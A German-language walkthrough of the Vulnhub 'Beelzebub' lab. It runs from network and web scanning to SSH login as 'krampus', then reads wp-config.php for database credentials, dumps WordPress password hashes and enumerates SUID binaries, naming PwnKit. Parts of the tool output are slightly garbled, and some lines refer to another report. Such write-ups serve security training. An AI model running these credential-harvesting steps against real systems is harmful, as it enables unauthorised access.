Beelzebub - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
curl
md5sum
msfconsole
wpscan
ssh
id
sudo
find
ls
getcap
cat
head
mysql
uname
mkfifo
nc
meterpreter

Inhaltsverzeichnis

Reconnaissance

**Zielsetzung:** Identifizierung des Zielsystems im Netzwerk und Sammlung erster Informationen über offene Ports und Dienste. Ein externer Hinweis vom Login-Bildschirm der VM deutete auf den Benutzernamen `Krampus` hin.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.118	08:00:27:66:7c:74	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk nach aktiven Hosts mittels ARP-Anfragen zu durchsuchen.

**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.118` wird gefunden. Die MAC-Adresse (`08:00:27:...`) deutet auf eine VirtualBox VM hin. Dies ist unser Ziel.

**Empfehlung (Pentester):** Führe einen Port-Scan auf `192.168.2.118` durch.
**Empfehlung (Admin):** Netzwerk-Monitoring kann ARP-Scans erkennen.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 192.168.2.118	   beelzebub.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.118` den Hostnamen `beelzebub.vln` zuzuordnen.

**Bewertung:** Nützlicher Schritt, um das Ziel über einen Namen anzusprechen, besonders für Webserver-Interaktionen.

**Empfehlung (Pentester):** Standardvorgehen.
**Empfehlung (Admin):** Lokale Angreifer-Konfiguration.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.118 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 13:29 CEST
Nmap scan report for beelzebub.vln (192.168.2.118)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)
|   256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA)
|_  256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:66:7C:74 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.12 ms beelzebub.vln (192.168.2.118)
                    

**Analyse:** Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird auf das Ziel durchgeführt.

**Bewertung:** Nur zwei Ports sind offen: 22 (SSH - OpenSSH 7.6p1) und 80 (HTTP - Apache 2.4.29). Der Webserver zeigt die Apache-Standardseite ("It works"). Die Versionen sind relativ aktuell, aber nicht die neuesten. Kein FTP-Dienst wie bei den vorherigen Basic-Pentesting-Maschinen.

**Empfehlung (Pentester):** Fokussiere dich auf den Webserver (Port 80) zur weiteren Enumeration. SSH (Port 22) ist ein potenzieller Login-Punkt, falls Zugangsdaten gefunden werden (z.B. für `Krampus`).
**Empfehlung (Admin):** Halte Apache und OpenSSH aktuell. Überprüfe, ob beide Dienste benötigt werden.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.118 -p- | grep open
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                    

**Analyse:** Gefilterte Nmap-Ausgabe zur schnellen Übersicht der offenen Ports.

**Bewertung:** Bestätigt Port 22 (SSH) und 80 (HTTP).

**Empfehlung (Pentester):** Schnelle Referenz.
**Empfehlung (Admin):** Regelmäßige Port-Scans zur Überprüfung der exponierten Dienste.

Web Enumeration

**Zielsetzung:** Untersuchung des Apache-Webservers auf Port 80, um versteckte Inhalte, Anwendungen oder Konfigurationsfehler zu finden.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.118
- Nikto v2.5.0
+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
+ Start Time:         2023-06-30 13:30:00 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: The X-Content-Type-ptions header is not set.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 59558e1434548, mtime: gzip.
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54).
+ Multiple index files found: /index.html, /index.php.
+ PTINS: Allowed HTTP Methods: HEAD, GET, PST, PTINS .
+ /phpinfo.php: utput from the phpinfo() function was found.
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found.
+ 8254 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-06-30 13:30:12 (GMT2) (12 seconds)
+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf bekannte Schwachstellen und interessante Dateien/Verzeichnisse.

**Bewertung:** Nikto findet mehrere interessante Punkte:

**Empfehlung (Pentester):** Untersuche `/phpinfo.php` auf sensible Informationen (z.B. Pfade, Module, Konfigurationen). Untersuche `/phpmyadmin/` auf Login-Möglichkeiten oder bekannte Schwachstellen. Führe `gobuster` aus, um weitere Verzeichnisse zu finden.
**Empfehlung (Admin):** Entferne `phpinfo.php` vom Produktionsserver. Sichere den Zugriff auf `/phpmyadmin` (z.B. durch IP-Beschränkung, .htaccess, starke Passwörter, aktuelle Version). Implementiere fehlende Sicherheitsheader. Update Apache.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://beelzebub.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://beelzebub.vln/index.php            (Status: 200) [Size: 271]
http://beelzebub.vln/index.html           (Status: 200) [Size: 10918]
http://beelzebub.vln/javascript           (Status: 301) [Size: 319] [--> http://beelzebub.vln/javascript/]
http://beelzebub.vln/phpmyadmin           (Status: 301) [Size: 319] [--> http://beelzebub.vln/phpmyadmin/]
                    

**Analyse:** `gobuster` sucht nach Verzeichnissen und Dateien auf `http://beelzebub.vln`.

**Bewertung:** Bestätigt die Existenz von `index.php`, `index.html` und `/phpmyadmin/`. Findet zusätzlich ein `/javascript/`-Verzeichnis. Der Fund von `/phpmyadmin/` ist hier relevant. `/phpinfo.php` wird von dieser spezifischen Gobuster-Ausgabe nicht angezeigt, wurde aber von Nikto gefunden.

**Empfehlung (Pentester):** Fokussiere dich auf `/phpinfo.php` und `/phpmyadmin/`. Das `/javascript/`-Verzeichnis könnte für clientseitige Analysen interessant sein.
**Empfehlung (Admin):** Siehe Nikto-Empfehlungen für phpMyAdmin und phpinfo.php. Entferne unnötige Verzeichnisse wie `/javascript/`, falls nicht verwendet.

**Manuelle Analyse (Quellcode):** Beim Betrachten des Quellcodes von `http://beelzebub.vln/index.php` (`view-source:`) findet sich ein HTML-Kommentar: ``.

**Bewertung:** Dies ist ein direkter Hinweis! Es legt nahe, dass das Wort "beelzebub" mit MD5 gehasht werden soll, und das Ergebnis könnte als Hinweis (z.B. Verzeichnisname, Passwort) dienen.

**Empfehlung (Pentester):** Berechne den MD5-Hash von "beelzebub" und prüfe, ob dieser Hash als Verzeichnisname auf dem Webserver existiert (z.B. mit Gobuster oder direktem Aufruf).
**Empfehlung (Admin):** Hinterlasse keine Hinweise oder Kommentare im Quellcode, die Angreifern helfen könnten.

Credential Discovery

**Zielsetzung:** Auffinden von Zugangsdaten oder Pfaden durch Auswertung der bisherigen Funde und gezielte Tests.

**Analyse (Metasploit - phpMyAdmin Scan):** Der Pentester startet `msfconsole` und versucht, das Modul `auxiliary/scanner/http/phpMyAdmin_login` zu verwenden, um einen Brute-Force-Angriff auf das gefundene `/phpmyadmin/`-Verzeichnis durchzuführen. Es werden verschiedene Einstellungen vorgenommen (`RHSTS`, `TARGETURI`, User-/Passwortlisten), aber die Versuche schlagen fehl, da das Modul den phpMyAdmin unter dem Standardpfad oder dem `/phpmyadmin/`-Pfad nicht korrekt erkennt (`PhpMyAdmin is not available`).

**Bewertung:** Der Versuch, phpMyAdmin mit Metasploit zu brute-forcen, schlägt fehl. Das Modul scheint den Zielpfad nicht korrekt zu verarbeiten oder phpMyAdmin ist an diesem Ort nicht für das Modul erreichbar/erkennbar. Dieser Weg führt nicht zum Erfolg.

**Empfehlung (Pentester):** Gib den Metasploit-Versuch auf phpMyAdmin auf. Konzentriere dich auf den MD5-Hinweis aus dem Quellcode.
**Empfehlung (Admin):** Auch wenn der Scan fehlschlug, zeigt er die Absicht. Absicherung von phpMyAdmin ist wichtig.

┌──(root㉿cyber)-[~] └─# echo "beelzebub" | md5sum
d6bf00c767d95fcd6bc40fad7ead64cc  -
                    

**Analyse:** Der MD5-Hash des Strings "beelzebub" wird berechnet. `echo` fügt standardmäßig einen Zeilenumbruch (`\n`) an den String an, bevor er an `md5sum` übergeben wird.

**Bewertung:** Dies ist der **falsche** Weg, den Hash zu berechnen, wenn der reine String gemeint ist. Der angehängte Zeilenumbruch verändert den Hash-Wert. Der Kommentar "das ist falsch" im Originaltext bestätigt dies.

**Empfehlung (Pentester):** Verwende `echo -n`, um den Zeilenumbruch zu unterdrücken.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿cyber)-[~] └─# echo -n "beelzebub" | md5sum
d18e1e22becbd915b45e0e655429d487  -
                    

**Analyse:** Der MD5-Hash des Strings "beelzebub" wird **korrekt** ohne abschließenden Zeilenumbruch berechnet, indem die Option `-n` bei `echo` verwendet wird.

**Bewertung:** Der korrekte MD5-Hash ist `d18e1e22becbd915b45e0e655429d487`. Dies ist der Wert, der gemäß dem Hinweis im Quellcode wahrscheinlich relevant ist.

**Empfehlung (Pentester):** Suche nach einem Verzeichnis oder einer Datei mit diesem Hash-Wert als Namen auf dem Webserver.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://beelzebub.vln -x txt,php,js,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487                      (Status: 301) [Size: 341] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/index.php            (Status: 200) [Size: 57718]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-content           (Status: 301) [Size: 352] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-content/]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-login.php         (Status: 200) [Size: 5694]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/license.txt          (Status: 200) [Size: 19935]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-includes          (Status: 301) [Size: 353] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-includes/]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/readme.html          (Status: 200) [Size: 7368]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-admin             (Status: 301) [Size: 350] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-admin/]
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/xmlrpc.php           (Status: 405) [Size: 42]
                    

**Analyse:** Ein (vermutlich erneuter) Gobuster-Scan oder direkter Aufruf bestätigt die Existenz eines Verzeichnisses, dessen Name dem MD5-Hash `d18e1e22becbd915b45e0e655429d487` entspricht. Innerhalb dieses Verzeichnisses befindet sich eine weitere WordPress-Installation.

**Bewertung:** Der Hinweis aus dem Quellcode war korrekt. Der MD5-Hash von "beelzebub" ist der Name eines versteckten Verzeichnisses, das eine WordPress-Instanz enthält. Dies ist der Hauptangriffsvektor auf dem Webserver.

**Empfehlung (Pentester):** Untersuche diese WordPress-Installation (`http://beelzebub.vln/d18e1e.../`) mit `wpscan`, suche nach Schwachstellen, Benutzern und versuche Logins.
**Empfehlung (Admin):** Security through obscurity (Verstecken durch obskure Namen) ist keine verlässliche Sicherheitsmaßnahme. Sichere Anwendungen sollten auch dann geschützt sein, wenn ihr Pfad bekannt ist. Zugriffskontrolle implementieren.

┌──(root㉿cyber)-[~] └─# curl beelzebub.vln/d18e1e22becbd915b45e0e655429d487/ -Iv
*   Trying 192.168.2.118:80...
* Connected to beelzebub.vln (192.168.2.118) port 80 (#0)
> HEAD /d18e1e22becbd915b45e0e655429d487/ HTTP/1.1
> Host: beelzebub.vln
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Date: Fri, 30 Jun 2023 12:04:54 GMT
< Server: Apache/2.4.29 (Ubuntu)
< X-Redirect-By: WordPress
< Location: http://192.168.1.6/d18e1e22becbd915b45e0e655429d487/ 
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host beelzebub.vln left intact
                    

**Analyse:** `curl` wird verwendet, um die Header (`-I -v`) des neu gefundenen WordPress-Verzeichnisses (`/d18e1e.../`) abzurufen.

**Bewertung:** Die Antwort ist ein `301 Moved Permanently`. **Sehr wichtig:** Der `Location`-Header zeigt auf eine **andere IP-Adresse: `http://192.168.1.6/...`**. Das bedeutet, die WordPress-Installation ist falsch konfiguriert und erwartet, unter `192.168.1.6` erreichbar zu sein, nicht unter der IP der VM (`192.168.2.118`). Der Header `X-Redirect-By: WordPress` bestätigt erneut WordPress.

**Empfehlung (Pentester):** Diese Fehlkonfiguration verhindert wahrscheinlich den direkten Zugriff auf die WordPress-Funktionen über `beelzebub.vln` oder `192.168.2.118`. Der Pentester notiert dies korrekt ("ab hier gehts nicht mehr weiter..."). Es müssen andere Wege gefunden werden, um Informationen zu erhalten (z.B. Scannen des Upload-Verzeichnisses).
**Empfehlung (Admin):** Korrigiere die WordPress-Seiten-URL (Site Address und WordPress Address) in den WordPress-Einstellungen oder der `wp-config.php`, sodass sie der tatsächlichen IP oder dem Hostnamen entspricht, unter dem die Seite erreichbar sein soll.

**Kommentar des Pentesters:** Der Pentester erkennt, dass die WordPress-Seite aufgrund der falschen IP-Konfiguration nicht direkt nutzbar ist und sucht nach alternativen Informationen oder "Creds aus dem Internet".

┌──(root㉿cyber)-[~] └─# curl 'http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/Talk%20To%20VALAK' -Iv
*   Trying 192.168.2.118:80...
* Connected to beelzebub.vln (192.168.2.118) port 80 (#0)
> HEAD /d18e1e22becbd915b45e0e655429d487/wp-content/uploads/Talk%20To%20VALAK HTTP/1.1
> Host: beelzebub.vln
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Date: Fri, 30 Jun 2023 12:14:50 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: Password=M4k3Ad3a1 
< Location: http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/Talk%20To%20VALAK/
< Content-Type: text/html; charset=iso-8859-1
<
* Connection #0 to host beelzebub.vln left intact
                    

**Analyse:** `curl` wird verwendet, um die Header einer Ressource namens `Talk To VALAK` im Upload-Verzeichnis der (falsch konfigurierten) WordPress-Installation abzurufen. Der Pfad wurde vermutlich durch Directory Indexing oder Raten gefunden (nicht explizit im Log gezeigt).

**Bewertung:** **Kritischer Fund!** Obwohl die Ressource selbst zu einer Weiterleitung führt (`301`), enthält die Serverantwort einen `Set-Cookie`-Header, der ein Passwort im Klartext setzt: `Password=M4k3Ad3a1`. Dies ist ein schwerwiegender Fehler, da sensible Daten niemals in Cookies gespeichert werden sollten. "VALAK" ist auch ein Benutzername, der später von `wpscan` gefunden wird.

**Empfehlung (Pentester):** Notiere das Passwort `M4k3Ad3a1`. Versuche dieses Passwort mit den bekannten oder gefundenen Benutzernamen (`Krampus` vom Login-Screen, `admin` von der API, `valak` vom Dateinamen/wpscan) für den SSH-Login.
**Empfehlung (Admin):** **NIEMALS** Passwörter oder andere sensible Daten in Cookies speichern! Überprüfe den Code, der diesen Cookie setzt, und entferne ihn dringend. Sichere das Uploads-Verzeichnis, deaktiviere Directory Indexing.

┌──(root㉿cyber)-[~] └─# wpscan --url http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/ --ignore-main-redirect --force
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.24
_______________________________________________________________

[+] URL: http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/ [192.168.2.118]
[+] Started: Fri Jun 30 14:18:39 2023

Interesting Finding(s):

[+] Headers: Server: Apache/2.4.29 (Ubuntu), X-Redirect-By: WordPress
[+] XML-RPC seems to be enabled: .../xmlrpc.php
[+] WordPress readme found: .../readme.html
[+] Upload directory has listing enabled: .../wp-content/uploads/
[+] The external WP-Cron seems to be enabled: .../wp-cron.php
[+] WordPress version 5.3.15 identified (utdated, released on 2023-05-16).
[i] The main theme could not be detected.
[i] No plugins Found.
[i] No Config Backups Found.

[+] Finished: Fri Jun 30 14:19:58 2023
[+] Requests Done: 186 | Cached Requests: 4 | Data Sent: 57.198 KB | Data Received: 12.478 MB | Memory used: 213.621 MB | Elapsed time: 00:01:18
                    

**Analyse:** `wpscan` wird auf das WordPress-Verzeichnis im MD5-Hash-Pfad ausgeführt. `--ignore-main-redirect` und `--force` werden verwendet, um trotz der fehlerhaften Konfiguration (Weiterleitung auf 192.168.1.6) einen Scan zu erzwingen.

**Bewertung:** WPScan identifiziert die veraltete WordPress-Version 5.3.15, aktiviertes XML-RPC und ein browsebares Upload-Verzeichnis. Es findet keine Plugins oder Themes.

**Empfehlung (Pentester):** Führe `wpscan` erneut mit Benutzer-Enumeration (`-e u`) aus.
**Empfehlung (Admin):** WordPress und alle Komponenten dringend aktualisieren. XML-RPC und Upload-Verzeichnis absichern.

┌──(root㉿cyber)-[~] └─# wpscan --url http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/ -e u --ignore-main-redirect --force
[i] User(s) Identified:

[+] krampus  <<<<--
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] valak    <<<<--
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
                    

**Analyse:** `wpscan` wird erneut ausgeführt, diesmal mit der Option `-e u` zur Benutzer-Enumeration.

**Bewertung:** Zwei Benutzernamen werden gefunden: `krampus` und `valak`. `krampus` war bereits vom Login-Screen bekannt, `valak` passt zum Dateinamen, der das Passwort-Cookie lieferte.

**Empfehlung (Pentester):** Versuche nun den SSH-Login mit den gefundenen Benutzernamen und dem Passwort aus dem Cookie (`M4k3Ad3a1`). Beginne mit `krampus`.
**Empfehlung (Admin):** Verhindere Benutzer-Enumeration in WordPress (z.B. durch Einschränkung der REST-API, Verwendung von Plugins/Themes, die keine Benutzernamen preisgeben).

Initial Access (SSH)

**Zielsetzung:** Erlangung einer Shell durch SSH-Login mit den gefundenen Zugangsdaten.

**Manuelle Analyse:** Basierend auf den Funden (`krampus` vom Login-Screen/WPScan, Passwort `M4k3Ad3a1` aus dem Cookie) wird ein SSH-Login versucht.

┌──(root㉿cyber)-[~] └─# ssh krampus@beelzebub.vln
krampus@beelzebub.vln's password: M4k3Ad3a1 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-53-generic x86_64)
...
Last login: Sat Mar 20 00:38:04 2021 from 192.168.1.7
krampus@beelzebub$
                    

**Analyse:** Erfolgreicher SSH-Login als Benutzer `krampus` mit dem Passwort `M4k3Ad3a1`.

**Bewertung:** Initial Access erfolgreich! Das im Cookie gefundene Passwort war für den Benutzer `krampus` gültig. Eine interaktive Shell wurde erhalten. Die hohe Anzahl an verfügbaren Updates (insbesondere Sicherheitsupdates) ist besorgniserregend.

**Empfehlung (Pentester):** Beginne mit der Enumeration als Benutzer `krampus` zur Privilegieneskalation (`id`, `sudo -l`, `find / -perm -4000`, etc.).
**Empfehlung (Admin):** Passwort aus Cookie ist ein schwerwiegender Fehler. Code bereinigen. System dringend patchen (482 Updates, 387 Sicherheitsupdates!). Überwache SSH-Logins.

Post-Exploitation & Enumeration

**Zielsetzung:** Sammeln von Informationen aus der `krampus`-Shell, um das System zu verstehen und Wege zur Privilegieneskalation zu finden.

krampus@beelzebub$ id
uid=1000(krampus) gid=1000(krampus) groups=1000(krampus),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare)
krampus@beelzebub$ sudo -l
Password: M4k3Ad3a1
Sorry, user krampus may not run sudo on beelzebub.

**Analyse:** `id` zeigt die Gruppenmitgliedschaften von `krampus`. `sudo -l` prüft die `sudo`-Berechtigungen.

**Bewertung:** `krampus` ist Mitglied mehrerer Gruppen, darunter `www-data`, was den Zugriff auf Webdateien erklärt. Es gibt keine offensichtlich privilegierten Gruppen wie `docker` oder `lxd`. Der Benutzer hat keine `sudo`-Rechte.

**Empfehlung (Pentester):** Suche nach SUID-Dateien, Kernel-Exploits, Cron-Jobs, unsicheren Berechtigungen.
**Empfehlung (Admin):** Überprüfe Gruppenmitgliedschaften (Prinzip der geringsten Rechte).

krampus@beelzebub$ find / -type f -perm -4000 -ls 2>/dev/null
      199     24 -rwsr-xr-x   1 root     root        22528 Jun 28  2019 /usr/bin/arping
      950     60 -rwsr-xr-x   1 root     root        59640 Mar 23  2019 /usr/bin/passwd
     1056     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec 
     1443     20 -rwsr-xr-x   1 root     root        18448 Jun 28  2019 /usr/bin/traceroute6.iputils
      892     40 -rwsr-xr-x   1 root     root        40344 Mar 23  2019 /usr/bin/newgrp
      275     44 -rwsr-xr-x   1 root     root        44528 Mar 23  2019 /usr/bin/chsh
      273     76 -rwsr-xr-x   1 root     root        76496 Mar 23  2019 /usr/bin/chfn
      530     76 -rwsr-xr-x   1 root     root        75824 Mar 23  2019 /usr/bin/gpasswd
     5281    148 -rwsr-xr-x   1 root     root       149080 Jan 31  2020 /usr/bin/sudo
     3954    372 -rwsr-xr--   1 root     dip        378600 Jul 23  2020 /usr/sbin/pppd
   396554   6172 -rwsr-xr-x   1 root     root      6319088 Nov 29  2017 /usr/local/Serv-U/Serv-U 
   158900    624 -rwsr-xr-x   1 root     root       635648 Mar 16  2021 /usr/local/bin/sudo 
     6947     16 -rwsr-xr-x   1 root     root        14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
     2605     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
     6907    428 -rwsr-xr-x   1 root     root       436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
     2304     44 -rwsr-xr--   1 root     messagebus    42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      277     12 -rwsr-sr-x   1 root     root          10232 Dec 18  2019 /usr/lib/xorg/Xorg.wrap
   262203     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   262276     64 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /bin/ping
   268310     28 -rwsr-xr-x   1 root     root          26696 Sep 17  2020 /bin/umount
   262380     44 -rwsr-xr-x   1 root     root          43088 Sep 17  2020 /bin/mount
   262304     44 -rwsr-xr-x   1 root     root          44664 Mar 23  2019 /bin/su
                    

**Analyse:** Suche nach SUID-Dateien im System.

**Bewertung:** Neben Standard-SUID-Dateien fallen auf:

PwnKit über `pkexec` ist ein sehr wahrscheinlicher Vektor. Die anderen beiden sind ebenfalls untersuchenswert.

**Empfehlung (Pentester):** Priorisiere den PwnKit-Exploit für `/usr/bin/pkexec`. Untersuche auch `/usr/local/Serv-U/Serv-U` und `/usr/local/bin/sudo` auf bekannte Schwachstellen oder Fehlkonfigurationen.
**Empfehlung (Admin):** System patchen (PwnKit). Untersuche, warum Serv-U und eine zweite `sudo`-Version SUID Root sind und ob dies notwendig ist. Entferne unnötige SUID-Bits.

krampus@beelzebub$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2618 Mar 16  2021 /etc/passwd
krampus@beelzebub$ getcap -r / 2>/dev/null
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
                    

**Analyse:** Die Berechtigungen von `/etc/passwd` werden geprüft (normal, nicht weltbeschreibbar). Linux Capabilities werden gesucht.

**Bewertung:** `/etc/passwd` ist sicher. Die gefundenen Capabilities bieten keine offensichtlichen Eskalationspfade.

**Empfehlung (Pentester):** Fokussiere dich auf die SUID-Binaries, insbesondere PwnKit.
**Empfehlung (Admin):** Gut, dass `/etc/passwd` korrekte Berechtigungen hat.

krampus@beelzebub:/var/www/html/d18e1e22becbd915b45e0e655429d487$ head -n 30 wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'root' );
define( 'DB_PASSWORD', 'P0k3M0n' );
                    

**Analyse:** Der Benutzer `krampus` (Mitglied der `www-data` Gruppe) liest die `wp-config.php` der WordPress-Instanz im MD5-Verzeichnis.

**Bewertung:** Findet erneut Datenbank-Zugangsdaten: User `root`, Passwort `P0k3M0n`. Dies ist ein anderes Passwort als im vorherigen Bericht (`arootmysqlpass`). Es ist wichtig, beide zu testen.

**Empfehlung (Pentester):** Teste das Passwort `P0k3M0n` für den System-Root-Benutzer (via `su`) und für den `krampus`-Benutzer bei `sudo` (obwohl `sudo -l` fehlschlug).
**Empfehlung (Admin):** Wieder: Keine DB-Root-Benutzer für Anwendungen, starke, einzigartige Passwörter verwenden. `wp-config.php` absichern.

krampus@beelzebub:/var/www/html/d18e1e22becbd915b45e0e655429d487$ mysql -u root -p
Enter password: P0k3M0n
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2385
Server version: 10.1.44-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04
...
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
MariaDB [(none)]> use wordpress;
Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
...
| wp_users              |
+-----------------------+
MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email      | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | krampus    | $P$BtwKP7tunjX1IgMdsaPj5ANoBatFG1 | krampus       | valak@hell.com  |          | 2021-03-19 06:18:23 |                     |           0 | krampus      |
|  2 | VALAK      | $P$B/8EcUNnkvmaTjd937ZbVvEhrT4N1 | valak         | VALAK@admin.com |          | 2021-03-19 11:53:24 |                     |           0 | VALAK VALAK  |
+----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+

MariaDB [wordpress]> exit 
                    

**Analyse:** Erfolgreicher Login in die MariaDB-Datenbank als `root` mit dem Passwort `P0k3M0n`. Die `wordpress`-Datenbank wird untersucht. Die `wp_users`-Tabelle enthält die Benutzer `krampus` und `VALAK` mit ihren Passwort-Hashes.

**Bewertung:** Bestätigt den Datenbankzugriff mit dem neuen Passwort. Die gefundenen Benutzer (`krampus`, `VALAK`) waren bereits durch WPScan bekannt. Die Passwort-Hashes könnten gecrackt werden, aber wir haben bereits ein Passwort für `krampus`.

**Empfehlung (Pentester):** Datenbankzugriff bietet aktuell keine neuen Eskalationspfade. Konzentriere dich auf PwnKit oder die ungewöhnlichen SUID-Dateien.
**Empfehlung (Admin):** DB-Sicherheit verbessern.

krampus@beelzebub:/var/www/html/d18e1e22becbd915b45e0e655429d487$ ls -la /home/
total 12
drwxr-xr-x  3 root    root    4096 Mar 16  2021 .
drwxr-xr-x 24 root    root    4096 Mar 16  2021 ..
drwsrwxrwx 17 krampus krampus 4096 Jun 30 18:09 krampus 
                    
krampus@beelzebub$ cat .bash_history
mysql -u root -p
clear
su root
clear
